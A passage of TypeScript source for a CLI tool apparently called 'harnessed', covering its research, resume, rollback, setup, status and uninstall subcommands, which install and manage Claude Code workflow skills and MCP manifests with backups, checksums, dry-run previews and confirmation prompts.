'../routing/index.js'\nimport { validateNonInteractiveFlags } from './lib/validateFlags.js'\n\ninterface RawOpts {\n query?: string\n dryRun?: boolean\n nonInteractive?: boolean\n model?: 'haiku' | 'sonnet' | 'opus'\n}\n\nexport function registerResearch(program: Command): void {\n program\n .command('research')\n .description(\n 'Run research workflow (search category sub-routing → spawn → verbatim COMPLETE; immediate by default — use --dry-run for preview)',\n )\n .requiredOption('--query <text>', 'research prompt (required)')\n .option('--dry-run', 'preview only — do not spawn subagent (opt-in for advanced users)')\n .option('--non-interactive', 'skip all prompts (CI / scripts)')\n .option('--model <model>', \"subagent model: 'haiku' | 'sonnet' | 'opus'\")\n .action(async (raw: RawOpts) => {\n // H1 gate (sibling install-base.ts pattern)\n validateNonInteractiveFlags(raw, 'research --query <text>')\n if (!raw.query) {\n console.error('error: --query <text> is required')\n process.exit(2)\n }\n\n const taskCtx: TaskContext = { task: raw.query, task_type: 'search' }\n\n // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n // Dry-run path: arbitrate-only preview, never spawn (mirrors install --dry-run).\n if (raw.dryRun === true) {\n const preview = await runRouting(taskCtx, {\n skillsRoot: undefined,\n // Stub spawn — dry-run never reaches it; explicit COMPLETE keeps shape happy.\n spawn: async () => 'dry-run preview\\nCOMPLETE',\n maxIterations: 1,\n ...(raw.model ? { agentOpts: { modelOverride: raw.model } } : {}),\n })\n if ('aborted' in preview) {\n console.error(`aborted: ${preview.reason}`)\n process.exit(2)\n }\n if ('ok' in preview && preview.ok === false) {\n console.error(`error: ${preview.phase} — ${preview.error.message}`)\n process.exit(1)\n }\n console.log(`[dry-run] matched_rule: ${preview.matchedRule?.id ?? '(fallback supervisor)'}`)\n console.log(`[dry-run] query: ${raw.query}`)\n console.log(\n ' (run without --dry-run to spawn the subagent and emit verbatim COMPLETE round-trip)',\n )\n process.exit(0)\n }\n\n // Immediate-execute path: real spawn requires SDK runtime dep (F40-2 deferred to phase 1.5).\n // Until then, runRouting.defaultSpawn throws a friendly placeholder error.\n const result = await runRouting(taskCtx, {\n ...(raw.model ? { agentOpts: { modelOverride: raw.model } } : {}),\n })\n if ('aborted' in result) {\n console.error(`aborted: ${result.reason}`)\n process.exit(2)\n }\n if ('ok' in result && result.ok === false) {\n console.error(`error: ${result.phase} — ${result.error.message}`)\n if (result.phase === 'install') {\n console.error(` fix: 'harnessed install <skill>' (see error above)`)\n }\n process.exit(1)\n }\n console.log(result.result)\n process.exit(0)\n })\n}\n","// Phase 3.1 W4 T4.4 — `harnessed resume` 12th CLI subcommand (R7.3 D-03 RELOAD).\n// Sister: src/cli/doctor.ts L136-175 (--json flag + exit code pattern, PATTERNS § 1 #7 85% reuse).\n// Dynamic import of runResume matches doctor.ts L131 lazy-load pattern (CI-friendly + smaller cold-start).\n\nimport type { Command } from 'commander'\n\nexport function registerResume(program: Command): void {\n program\n .command('resume')\n .description(\n 'Reload checkpoint from paused workflow + print resume hint (D-03 — user invokes phase command manually)',\n )\n .option('--json', 'output JSON instead of human-readable')\n .action(async (opts: { json?: boolean }) => {\n const { runResume } = await import('../checkpoint/resume.js')\n const r = await runResume()\n if (opts.json) {\n console.log(JSON.stringify(r, null, 2))\n process.exit(r.status === 'ok' ? 0 : 1)\n return\n }\n if (r.status === 'no-paused-phase') {\n console.error(`✗ ${r.error}`)\n process.exit(1)\n }\n if (r.status === 'corrupt') {\n console.error(`✗ ${r.error}\\n path: ${r.path}`)\n process.exit(1)\n }\n if (r.cwdWarn) console.error(r.cwdWarn)\n console.log(`phase: ${r.checkpoint.phase}`)\n console.log(`last_task: ${r.checkpoint.last_task}`)\n if (r.checkpoint.key_decisions.length) {\n console.log(`key_decisions: ${r.checkpoint.key_decisions.slice(0, 5).join(', ')}`)\n }\n if (r.checkpoint.canonical_refs.length) {\n console.log(`canonical_refs: ${r.checkpoint.canonical_refs.slice(0, 3).join(', ')}`)\n }\n console.log(r.resumeHint)\n process.exit(0)\n })\n}\n","// Phase 1.2 cli subcommand `rollback` per ADR 0004 § 3 + Pattern C + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3 — CRLF/LF preservation): each backup\n// metadata.json file entry records `eol: 'lf' | 'crlf'` from the original\n// on-disk content (lib/backup.ts detects via Buffer.includes('\\r\\n')). On\n// restore we MUST honor that field — naive `fs.writeFile(buf)` would\n// otherwise round-trip CRLF→LF on Win→Unix migrations or vice versa, mutating\n// the user's original file content. We restore by converting buf to a string\n// then re-emitting with the recorded eol convention.\n//\n// IMPL NOTE (Rule 1 / ENOENT pure-create sentinel): backup() records files\n// that did not yet exist (oldText === '' + ENOENT) as `{ backup: '', sha1: '' }`.\n// On rollback this means \"delete the target file\" rather than \"restore\". We\n// honor that sentinel by calling unlink() instead of writeFile().\n\nimport { createHash } from 'node:crypto'\nimport { readFile, unlink, writeFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { getBackupRoot } from '../installers/lib/backup.js'\n\ninterface BackupFileEntry {\n target: string\n backup: string\n sha1: string\n eol: 'lf' | 'crlf'\n}\ninterface BackupMetadata {\n installer: string\n manifest: string\n timestamp: string\n files: BackupFileEntry[]\n}\n\nfunction normalizeEol(buf: Buffer, eol: 'lf' | 'crlf'): Buffer {\n // Convert all line endings to LF first, then to target convention.\n const lf = buf.toString('utf8').replace(/\\r\\n/g, '\\n')\n return Buffer.from(eol === 'crlf' ? lf.replace(/\\n/g, '\\r\\n') : lf, 'utf8')\n}\n\nexport function registerRollback(program: Command): void {\n program\n .command('rollback <timestamp>')\n .description('Restore files from a backup snapshot (preserves original LF/CRLF)')\n .action(async (timestamp: string) => {\n const dir = join(getBackupRoot(), timestamp)\n const metaPath = join(dir, 'metadata.json')\n let meta: BackupMetadata\n try {\n meta = JSON.parse(await readFile(metaPath, 'utf8')) as BackupMetadata\n } catch (err) {\n console.error(\n `error: cannot read ${metaPath}: ${(err as Error).message}\\n` +\n ` fix: run 'harnessed backup list' to see available timestamps`,\n )\n process.exit(1)\n return\n }\n // Reverse iteration so files restored later (higher in dependency chain) come first.\n for (const entry of [...meta.files].reverse()) {\n if (entry.backup === '') {\n // Pure-create sentinel — original file did not exist; rollback = unlink.\n try {\n await unlink(entry.target)\n } catch (err) {\n const code = (err as NodeJS.ErrnoException).code\n if (code !== 'ENOENT') {\n console.error(`error: cannot unlink ${entry.target}: ${(err as Error).message}`)\n process.exit(1)\n return\n }\n }\n continue\n }\n const buf = await readFile(entry.backup)\n const sha1 = createHash('sha1').update(buf).digest('hex')\n if (sha1 !== entry.sha1) {\n console.error(\n `error: backup checksum mismatch for ${entry.target} (expected ${entry.sha1.slice(0, 12)}, got ${sha1.slice(0, 12)})`,\n )\n process.exit(1)\n return\n }\n await writeFile(entry.target, normalizeEol(buf, entry.eol))\n }\n console.log(`restored ${meta.files.length} file(s) from ${timestamp}`)\n })\n}\n","// Phase v2.0-2.6 W0 close cleanup — Karpathy ≤200L split for src/cli/setup.ts (CK deferred).\n// Sister Phase 3.4 W1 doctor.ts inline shrink + origin-check.ts sister-share extract pattern.\n// Extracts: (1) Agent Teams warn UX, (2) workflow SKILL.md scan, (3) Step B parallel install.\n//\n// Phase v3.0-3.3 T3.3.W0.12 — nested 2-level scan + v2 deprecation warn:\n// scanWorkflowsWithSkill now returns NestedWorkflow[] (not string[]) so callers\n// can flatten slash-cmd name + know master vs sub-stage. Nested scan logic lives\n// in ./scan-nested.ts (karpathy ≤200L split). Deprecated v2 flat top-level dirs\n// (plan-feature / execute-task / verify-work) emit warn + skip install per D-04.\n\nimport { readFile } from 'node:fs/promises'\nimport { runInstall } from '../../installers/index.js'\nimport type { InstallOpts } from '../../installers/lib/types.js'\nimport { validateManifestFile } from '../../manifest/validate.js'\nimport { checkAgentTeams } from './checkAgentTeams.js'\nimport type { ScanResult } from './scan-nested.js'\nimport { renderDeprecationBlock, scanWorkflowsNested } from './scan-nested.js'\n\nexport type { NestedWorkflow, ScanResult } from './scan-nested.js'\n\n/** Phase 2.1 deferred installer methods — counted as skipped, not failed (D-11). */\nconst PHASE_21 = new Set([\n 'cc-plugin-marketplace',\n 'git-clone-with-setup',\n 'npx-skill-installer',\n 'mcp-http-add',\n])\n\n/**\n * Phase v2.0-2.3 W1.1: Agent Teams env probe (non-blocking warn).\n * Per Q-AUDIT-5b + R20.11 acceptance e + PLAN-ENG-REVIEW § Section 5 [LOW]:\n * Warn-only if missing — parallelism-gate runtime degrades to subagent fan-out\n * when Agent Teams CC env flag is off (session-scoped tolerance policy).\n */\nexport async function warnIfAgentTeamsMissing(): Promise<void> {\n const r = await checkAgentTeams()\n if (r.status !== 'missing') return\n console.warn('\\n⚠️ Agent Teams 未启用 — parallelism-gate 升级路径不可用')\n console.warn(' 修复: claude config set env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS 1')\n console.warn(\n ' 说明: harnessed v3.0 三层栈方法论 parallelism-gate 升级路径需 CC 2.1.133+ Agent Teams enable',\n )\n console.warn(\n ' 不阻塞 setup,后续 parallelism-gate workflow phase 触发时自动降级 subagent fan-out\\n',\n )\n // NOT exit — non-blocking per R20.11 acceptance a\n}\n\n/** v3.0 nested 2-level scan — returns NestedWorkflow[] with deprecation list. */\nexport async function scanWorkflowsWithSkill(\n workflowsDir: string,\n entries: string[],\n): Promise<ScanResult> {\n return scanWorkflowsNested(workflowsDir, entries)\n}\n\n/** Re-export deprecation block renderer for setup.ts console output. */\nexport { renderDeprecationBlock }\n\nexport interface StepBResult {\n installed: string[]\n alreadyInstalled: string[]\n skipped: string[]\n failed: string[]\n elapsedMs: number\n}\n\n/** Step B: parallel install-base auto-glob chain via Promise.allSettled (v1.0.3 T1.1). */\nexport async function runStepBInstall(manifestPaths: string[]): Promise<StepBResult> {\n const opts: InstallOpts = {\n apply: true,\n dryRun: false,\n system: false,\n nonInteractive: true,\n fullDiff: false,\n color: 'auto',\n }\n const start = Date.now()\n const settled = await Promise.allSettled(\n manifestPaths.map(async (path) => {\n let yamlSrc: string\n try {\n yamlSrc = await readFile(path, 'utf8')\n } catch (e) {\n return { status: 'failed' as const, name: path, reason: `read: ${(e as Error).message}` }\n }\n const v = validateManifestFile(yamlSrc, path)\n if (!v.ok) {\n return {\n status: 'failed' as const,\n name: path,\n reason: `validate: ${v.errors[0]?.message ?? 'unknown'}`,\n }\n }\n const name = v.manifest.metadata.name\n const method = v.manifest.spec.install.method\n if (PHASE_21.has(method)) return { status: 'skipped' as const, name }\n const r = await runInstall(v.manifest, opts)\n if ('aborted' in r) return { status: 'skipped' as const, name }\n if (r.ok && 'alreadyInstalled' in r && r.alreadyInstalled)\n return { status: 'already-installed' as const, name }\n if (r.ok) return { status: 'installed' as const, name }\n return { status: 'failed' as const, name, reason: r.error.message }\n }),\n )\n\n const installed: string[] = []\n const alreadyInstalled: string[] = []\n const skipped: string[] = []\n const failed: string[] = []\n for (const s of settled) {\n const v =\n s.status === 'fulfilled'\n ? s.value\n : {\n status: 'failed' as const,\n name: '?',\n reason: String((s as PromiseRejectedResult).reason),\n }\n if (v.status === 'installed') installed.push(v.name)\n else if (v.status === 'already-installed') alreadyInstalled.push(v.name)\n else if (v.status === 'skipped') skipped.push(v.name)\n else\n failed.push(`${v.name}: ${(v as { status: 'failed'; name: string; reason: string }).reason}`)\n }\n return { installed, alreadyInstalled, skipped, failed, elapsedMs: Date.now() - start }\n}\n","// Phase v3.0-3.3 T3.3.W0.12 — Nested workflows/<stage>/<sub>/ 2-level scan helper.\n// Split from setup-helpers.ts to keep both files within karpathy ≤200L limit\n// (sister src/routing/lib/fallbackHandlers.ts ≤80L split pattern).\n//\n// Contract per RESEARCH-workflows § Area 4 (verbatim transcription):\n// Path A: flat top-level SKILL.md (research / retro keep; v2 legacy 3 cmd emit\n// deprecation warn + skip install per D-04).\n// Path B: nested 2-level workflows/<stage>/<sub>/SKILL.md\n// - sub === 'auto' → master, slash-cmd flatten to bare `<stage>`\n// - sub !== 'auto' → sub-stage, slash-cmd flatten to `<stage>-<sub>`\n// Skip: disciplines/ + judgments/ (K10 — non-workflow manifest dirs).\n\nimport { readdir, stat } from 'node:fs/promises'\nimport { join } from 'node:path'\n\nexport interface NestedWorkflow {\n /** Slash-cmd name (flat) — e.g. \"discuss-strategic\" or \"discuss\" (master). */\n name: string\n /** Source dir relative to workflowsDir — e.g. \"discuss/strategic\" or \"research\". */\n relPath: string\n /** Whether this is a master (nested at <stage>/auto/SKILL.md). */\n isMaster: boolean\n}\n\n/** v2 → v3 deprecation map per D-04 (alias map). Flat top-level dirs that should\n * be skipped install but emit warn; CHANGELOG [3.0.0] documents migration. */\nexport const FLAT_LEGACY_DEPRECATED = new Set(['plan-feature', 'execute-task', 'verify-work'])\n\n/** Flat top-level dirs that remain valid as standalone v3 workflows (KEEP).\n * v3.1.0 — `auto` added as 5th master (super-master, top-level standalone layout per\n * sister research/retro pattern; 4 stage-master discuss/plan/task/verify nested per\n * Path B). `auto` slash-cmd → /auto bare per D-02 ADR 0030 namespace policy LOCK. */\nexport const FLAT_LEGACY_KEEP = new Set(['research', 'retro', 'auto'])\n\n/** v3.1.0 — Top-level standalone dirs that are super-masters (isMaster=true flag\n * for setup.ts `(master)` tag rendering). Currently only `auto`; sister research /\n * retro remain non-master standalone workflows. */\nexport const FLAT_TOP_LEVEL_MASTERS = new Set(['auto'])\n\n/** Non-workflow manifest dirs to skip during nested scan (K10 mitigation). */\nexport const NON_WORKFLOW_DIRS = new Set(['disciplines', 'judgments'])\n\n/** Collected deprecation warn lines — caller emits as a single block at end of scan\n * per RESEARCH-workflows § Area 4 末段 (5L console block + CHANGELOG ref). */\nexport interface ScanResult {\n workflows: NestedWorkflow[]\n deprecated: string[]\n}\n\n/** Nested 2-level scan: top-level + 1 nested depth. */\nexport async function scanWorkflowsNested(\n workflowsDir: string,\n entries: string[],\n): Promise<ScanResult> {\n const workflows: NestedWorkflow[] = []\n const deprecated: string[] = []\n\n for (const entry of entries.sort()) {\n if (NON_WORKFLOW_DIRS.has(entry)) continue // K10 — skip disciplines/ + judgments/\n\n const src = join(workflowsDir, entry)\n let s: { isDirectory: () => boolean }\n try {\n s = await stat(src)\n } catch {\n continue\n }\n if (!s.isDirectory()) continue\n\n // Path A: flat top-level SKILL.md (v2 legacy OR standalone v3 keep).\n let hasFlatSkill = false\n try {\n await stat(join(src, 'SKILL.md'))\n hasFlatSkill = true\n } catch {\n hasFlatSkill = false\n }\n\n if (hasFlatSkill) {\n if (FLAT_LEGACY_DEPRECATED.has(entry)) {\n deprecated.push(entry) // skip install — pure deprecate per D-04\n continue\n }\n if (FLAT_LEGACY_KEEP.has(entry)) {\n workflows.push({ name: entry, relPath: entry, isMaster: FLAT_TOP_LEVEL_MASTERS.has(entry) })\n continue\n }\n // Unknown flat top-level with SKILL.md — install as-is (forward compat).\n workflows.push({ name: entry, relPath: entry, isMaster: false })\n continue\n }\n\n // Path B: nested 2-level — workflows/<stage>/<sub>/SKILL.md\n let subEntries: string[]\n try {\n subEntries = await readdir(src)\n } catch {\n continue\n }\n for (const sub of subEntries.sort()) {\n const subDir = join(src, sub)\n let ss: { isDirectory: () => boolean }\n try {\n ss = await stat(subDir)\n } catch {\n continue\n }\n if (!ss.isDirectory()) continue\n try {\n await stat(join(subDir, 'SKILL.md'))\n } catch {\n continue\n }\n // Flatten to slash-cmd name (per D-02 bare cmd):\n // workflows/discuss/auto/ → /discuss (master)\n // workflows/discuss/strategic/ → /discuss-strategic (sub-stage)\n const name = sub === 'auto' ? entry : `${entry}-${sub}`\n workflows.push({ name, relPath: `${entry}/${sub}`, isMaster: sub === 'auto' })\n }\n }\n\n return { workflows, deprecated }\n}\n\n/** Render deprecation block per RESEARCH-workflows § Area 4 末段 verbatim text. */\nexport function renderDeprecationBlock(deprecated: string[]): string {\n if (deprecated.length === 0) return ''\n return [\n '⚠️ v3.0 BREAKING — v2 legacy slash cmd deprecated:',\n ' /plan-feature → /plan (master) | /plan-phase (sub)',\n ' /execute-task → /task (master) | /task-{clarify,code,test,deliver} (sub)',\n ' /verify-work → /verify (master) | /verify-{progress,paranoid,qa,security,design,simplify,multispec} (sub)',\n ' /research, /retro 不变',\n ' 详见 CHANGELOG [3.0.0]',\n ` skipped install: ${deprecated.sort().join(', ')}`,\n '',\n ].join('\\n')\n}\n","// v1.0.3 T1.1 — Step B serial → parallel Promise.allSettled (~75% speedup; 16 manifests 30-50s → 5-10s).\n// v1.0.2 T1.3+T1.4 — cli subcommand `setup` full one-shot onboarding (UX redesign post-v1.0.1).\n// Phase v2.0-2.6 W0 close cleanup — Karpathy ≤200L split: helpers moved to ./lib/setup-helpers.ts (CK deferred).\n//\n// IMPL NOTE (immediate-install default + --dry-run opt-in, non-expert UX):\n// `harnessed setup` executes immediately by default (non-expert UX; v1.0.2 user feedback).\n// `--dry-run` flag opt-in for advanced preview. Sister install.ts pattern REVERSED.\n// Step A: copies each workflows/<name>/ dir with SKILL.md to ~/.claude/skills/<name>/.\n// Step B: chains install-base auto-glob (installs all manifests/{tools,skill-packs}/*.yaml).\n// Workflows without SKILL.md are skipped in Step A.\n//\n// Exit codes:\n// 0 → at least 1 workflow installed + base manifests processed\n// 1 → fs.cp failed\n// 2 → no SKILL.md workflows found (nothing to install)\n\nimport { cp, readdir } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join, resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport {\n renderDeprecationBlock,\n runStepBInstall,\n scanWorkflowsWithSkill,\n warnIfAgentTeamsMissing,\n} from './lib/setup-helpers.js'\n\ninterface RawOpts {\n dryRun?: boolean\n}\n\nasync function listBaseManifests(pkgRoot: string): Promise<string[]> {\n const out: string[] = []\n for (const d of ['manifests/tools', 'manifests/skill-packs']) {\n try {\n const entries = await readdir(resolve(pkgRoot, d))\n for (const f of entries.sort()) if (f.endsWith('.yaml')) out.push(resolve(pkgRoot, d, f))\n } catch {}\n }\n return out\n}\n\nexport function registerSetup(program: Command): void {\n program\n .command('setup')\n .description(\n 'One-shot onboarding: install workflow skills + base manifests to ~/.claude/ (immediate by default — use --dry-run for preview)',\n )\n .option('--dry-run', 'preview only — do not write to disk (opt-in for advanced users)')\n .action(async (raw: RawOpts) => {\n const dryRun = raw.dryRun === true\n const pkgRoot = getPackageRoot()\n const workflowsDir = resolve(pkgRoot, 'workflows')\n const skillsBase = resolve(homedir(), '.claude', 'skills')\n\n // Agent Teams env probe (non-blocking warn) — sister R20.11 acceptance e.\n await warnIfAgentTeamsMissing()\n\n // ── Step A: workflow SKILL.md scan ──────────────────────────────────────\n let entries: string[]\n try {\n entries = await readdir(workflowsDir)\n } catch {\n console.error(`error: workflows directory not found at ${workflowsDir}`)\n process.exit(1)\n }\n\n const { workflows: toInstall, deprecated } = await scanWorkflowsWithSkill(\n workflowsDir,\n entries,\n )\n\n // Emit v2 → v3 deprecation block (Area 4 末段) BEFORE install summary.\n const depBlock = renderDeprecationBlock(deprecated)\n if (depBlock) console.log(depBlock)\n\n if (toInstall.length === 0) {\n console.log('setup: no workflow directories with SKILL.md found — nothing to install')\n process.exit(2)\n }\n\n if (dryRun) {\n console.log(\n `[dry-run] setup would install ${toInstall.length} workflow(s) to ${skillsBase}:`,\n )\n for (const wf of toInstall) {\n const masterTag = wf.isMaster ? ' (master)' : ''\n console.log(` ${wf.name} → ${join(skillsBase, wf.name)}${masterTag}`)\n }\n console.log(` run without --dry-run to execute`)\n process.exit(0)\n }\n\n let skillsInstalled = 0\n for (const wf of toInstall) {\n const src = join(workflowsDir, wf.relPath)\n const dst = join(skillsBase, wf.name)\n try {\n await cp(src, dst, { recursive: true, force: true })\n const masterTag = wf.isMaster ? ' (master)' : ''\n console.log(` [A] installed ${wf.name} → ${dst}${masterTag}`)\n skillsInstalled++\n } catch (e) {\n console.error(` error: failed to copy ${wf.name}: ${(e as Error).message}`)\n process.exit(1)\n }\n }\n\n console.log(\n `\\nStep A complete: ${skillsInstalled} workflow skill(s) installed to ${skillsBase}`,\n )\n\n // ── Step B: install-base auto-glob chain (parallel) ─────────────────────\n const manifestPaths = await listBaseManifests(pkgRoot)\n const b = await runStepBInstall(manifestPaths)\n const stepBMs = (b.elapsedMs / 1000).toFixed(1)\n console.log(\n `Step B complete: ${b.installed.length} manifest(s) installed / ${b.alreadyInstalled.length} already-installed / ${b.skipped.length} skipped / ${b.failed.length} failed [parallel ${stepBMs}s]`,\n )\n for (const n of b.installed) console.log(` [B] installed ${n}`)\n for (const n of b.alreadyInstalled)\n console.log(\n ` [B] already-installed ${n} — run \\`/mcp\\` in Claude Code to verify connection`,\n )\n for (const n of b.skipped) console.log(` [B] skipped ${n}`)\n for (const n of b.failed) console.error(` [B] failed ${n}`)\n\n console.log(\n `\\nsetup complete: ${skillsInstalled} workflow skill(s) + ${b.installed.length + b.alreadyInstalled.length} base manifest(s) configured`,\n )\n if (b.alreadyInstalled.length > 0 || b.installed.length > 0) {\n console.log(\n `\\nMCP servers configured. Run \\`/mcp\\` in Claude Code to verify each server's connection status. If a server shows disconnected, restart Claude Code or check the MCP command spec.`,\n )\n }\n\n // ── Phase v2.0-2.3 W1.1: Pure bundled distribution highlight (D-01) ───\n // workflows live in <packageRoot>/workflows/ — share-only readonly,\n // NOT user-dir override (~/.harnessed/ NOT used per D-01 LOCKED).\n console.log(\n '\\n✓ harnessed v3.0 三层栈方法论 bundled — 23 workflows (4 master + 18 sub + 1 standalone) + 6 disciplines + 10 judgments + ~83 capabilities ready',\n )\n console.log(\n ' workflows in <packageRoot>/workflows/ (Pure bundled, NOT user-dir override per D-01)',\n )\n process.exit(0)\n })\n}\n","// Phase 1.2 cli subcommand `status` per ADR 0004 contract 6 + Pattern C.\n//\n// Reads <harnessed-root>/state.json (lib/state.ts SSOT) and prints installed\n// upstreams, their pinned version, and install timestamp. Partial-install\n// state (ADR 0004 contract 6) is reported when state.json contains an entry\n// without a matching backup snapshot or vice versa — phase 1.2 minimum\n// uses the readState() default-on-ENOENT idiom and treats absence as\n// \"nothing installed yet\" (not an error).\n//\n// Phase 5.1 W2 T2.5 — D-07 lock holder display: reads <harnessed-root>/.lock\n// content (proper-lockfile mtime) + stale auto-detect 10s indicator.\n// v3.0.3 — paths routed through harnessedRoot SoT (homedir-rooted).\n\nimport { stat } from 'node:fs/promises'\nimport type { Command } from 'commander'\nimport lockfile from 'proper-lockfile'\nimport { getHarnessedRoot, harnessedFile } from '../installers/lib/harnessedRoot.js'\nimport { readState } from '../installers/lib/state.js'\n\nexport function registerStatus(program: Command): void {\n program\n .command('status')\n .description('Show installed upstreams (from <harnessed-root>/state.json)')\n .action(async () => {\n const state = await readState(process.cwd())\n const names = Object.keys(state.installed).sort()\n if (names.length === 0) {\n console.log(`no installs recorded (${harnessedFile('state.json')} absent or empty)`)\n } else {\n for (const n of names) {\n const e = state.installed[n]\n if (!e) continue\n console.log(`${n} @ ${e.version} (installed ${e.installedAt})`)\n }\n console.log(`\\n${names.length} install${names.length === 1 ? '' : 's'} recorded`)\n }\n\n // D-07 LOCKED — display lock holder pid + mtime + stale indicator\n // proper-lockfile.check() returns true when lock is currently held\n const lockPath = harnessedFile('.lock')\n try {\n const isLocked = await lockfile.check(getHarnessedRoot(), {\n lockfilePath: lockPath,\n stale: 10_000,\n })\n if (isLocked) {\n const s = await stat(lockPath)\n const ageMs = Date.now() - s.mtime.getTime()\n const stale = ageMs > 10_000\n console.log(`\\nlock: held (since ${s.mtime.toISOString()})${stale ? ' — STALE' : ''}`)\n console.log(` to release: wait for process to finish or delete ${lockPath}`)\n } else {\n console.log('\\nlock: free')\n }\n } catch {\n // harnessed root absent or inaccessible = no lock; silent per D-07\n }\n })\n}\n","// Phase 5.2 W1 T1.1 — cli subcommand `uninstall` per R10.3 + ADR 0004.\n//\n// IMPL NOTE (v3.0.1 UX flip — apply-immediate default + --dry-run opt-in):\n// `harnessed uninstall <name>` executes immediately by default (sister install.ts\n// pattern verbatim). Interactive p.confirm() 仍 protect destructive op (user\n// 必须显式 y/yes 才真正删除)。`--dry-run` flag opt-in 高级用户预览。`--yes` skip\n// interactive confirm 仍 require user 显式 opt-in (CI / scripts)。\n//\n// v3.3.0 cleanup — `--apply` backward-compat alias removed (was no-op since\n// v3.0.1)。Migration: `harnessed uninstall foo --apply --yes` → `harnessed uninstall foo --yes`。\n//\n// IMPL NOTE (D-07 NO --keep-backup): RawOpts explicitly omits keepBackup.\n//\n// Exit code mapping (ADR 0004 contract 6):\n// 0 → uninstall succeeded (ok: true or ephemeral no-op)\n// 1 → uninstall failed (ok: false)\n// 2 → user-aborted / flag-missing / dry-run preview\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport * as p from '@clack/prompts'\nimport type { Command } from 'commander'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { runUninstall } from '../uninstallers/index.js'\nimport { getPackageRoot } from './lib/packagePath.js'\n\ninterface RawOpts {\n dryRun?: boolean\n yes?: boolean\n nonInteractive?: boolean\n}\n\nexport function registerUninstall(program: Command): void {\n program\n .command('uninstall <name>')\n .description('Uninstall an upstream (immediate by default — use --dry-run for preview)')\n .option('--dry-run', 'preview only — do not delete files (opt-in for advanced users)')\n .option('--yes', 'skip interactive confirm (CI / scripts) — fatal with --dry-run')\n .option('--non-interactive', 'alias for --yes (CI compat)')\n .action(async (name: string, raw: RawOpts) => {\n // v3.0.1 UX flip — apply-immediate default。dryRun=true → preview only。\n // dryRun=false → immediate execute。`--yes` 仍可 skip interactive\n // confirm prompt (用户显式 opt-in CI / scripts)。\n // H1 gate: --yes + --dry-run 互斥 (dry-run 不 mutate, --yes 无意义)。\n const yes = raw.yes === true || raw.nonInteractive === true\n if (yes && raw.dryRun) {\n console.error(\n `error: --yes is incompatible with --dry-run (dry-run does not mutate)\\n` +\n ` fix: harnessed uninstall ${name} --yes (immediate) ` +\n `OR harnessed uninstall ${name} --dry-run (preview)`,\n )\n process.exit(2)\n }\n\n // Alias resolution (sister install.ts pattern).\n const { resolveAlias } = await import('../manifest/aliases.js')\n const resolvedName = resolveAlias(name) ?? name\n // R10.4 D-04 hardening site 2 — screen resolved alias redirect (defense-in-depth).\n checkPathSafe(resolvedName)\n\n // Manifest lookup (tools/ first, skill-packs/ fallback).\n const manifestPath = resolve(getPackageRoot(), `manifests/tools/${resolvedName}.yaml`)\n const skillPackPath = resolve(getPackageRoot(), `manifests/skill-packs/${resolvedName}.yaml`)\n let yamlSrc: string\n let chosenPath = manifestPath\n try {\n yamlSrc = await readFile(manifestPath, 'utf8')\n } catch {\n try {\n yamlSrc = await readFile(skillPackPath, 'utf8')\n chosenPath = skillPackPath\n } catch {\n console.error(\n `error: manifest '${resolvedName}' not found\\n` +\n ` fix: ensure manifests/tools/${resolvedName}.yaml or manifests/skill-packs/${resolvedName}.yaml exists`,\n )\n process.exit(1)\n }\n }\n\n const v = validateManifestFile(yamlSrc, chosenPath)\n if (!v.ok) {\n for (const e of v.errors) console.error(`error: ${e.message} at ${e.path}`)\n process.exit(1)\n }\n\n const method = v.manifest.spec.install.method\n // v3.0.1 UX flip — dry-run is opt-in only (raw.dryRun === true)。\n // apply-immediate by default。\n const dryRun = raw.dryRun === true\n\n // Dry-run preview path (opt-in --dry-run only).\n if (dryRun) {\n console.log(`[dry-run] would uninstall '${resolvedName}' via method '${method}'`)\n console.log(` run without --dry-run to execute`)\n process.exit(2)\n }\n\n // Interactive confirm protects destructive op (skip only with --yes).\n if (!yes) {\n const answer = await p.confirm({\n message: `Uninstall '${resolvedName}'? This cannot be undone.`,\n initialValue: false,\n })\n if (p.isCancel(answer) || answer === false) {\n console.error(`aborted: user cancelled`)\n process.exit(2)\n }\n }\n\n const opts = { apply: true, dryRun: false, yes }\n const result = await runUninstall(v.manifest, opts)\n\n if ('aborted' in result) {\n console.error(`aborted: ${result.reason}`)\n process.exit(2)\n }\n if (result.ok) {\n console.log(`uninstalled ${resolvedName}`)\n process.exit(0)\n }\n console.error(`error: ${result.error}`)\n process.exit(1)\n })\n}\n","// Phase 5.2 W0 #BI — extract dry-run gate duplicate from 7 installer files.\n// Sister: src/installers/lib/err.ts (Phase 5.1 W0 #BG extract pattern).\n//\n// 7-site duplicate pattern (npmCli + mcpStdioAdd + mcpHttpAdd +\n// ccPluginMarketplace + gitCloneWithSetup + npxSkillInstaller + ccHookAdd):\n// if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n//\n// Used by all 7 src/uninstallers/*.ts (Wave 1 T1.2).\n// NOT used by installers/ — installer files unchanged Phase 5.2.\n\n/** Minimal context shape — expanded by src/uninstallers/lib/types.ts (T1.1). */\ninterface DryRunCtx {\n opts: { dryRun: boolean }\n}\n\n/** Dry-run abort result — mirrors UninstallResult aborted variant (T1.1). */\ntype AbortResult = { aborted: true; reason: 'dry-run' }\n\n/**\n * Returns an abort result if ctx.opts.dryRun is true, otherwise null.\n * Callers: `const abort = dryRunGate(ctx); if (abort) return abort`\n */\nexport function dryRunGate(ctx: DryRunCtx): AbortResult | null {\n if (ctx.opts.dryRun) return { aborted: true, reason: 'dry-run' }\n return null\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 7/7: cc-hook-add.\n// Reverse JSON deep-merge: filter matching hook entry from ~/.claude/settings.json.\n// Idempotent: settings.json absent or hook not present → ok:true noop.\n// Sister: src/installers/ccHookAdd.ts — inverse of install-time merge.\n\nimport { readFile, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\ninterface Settings {\n hooks?: Record<string, 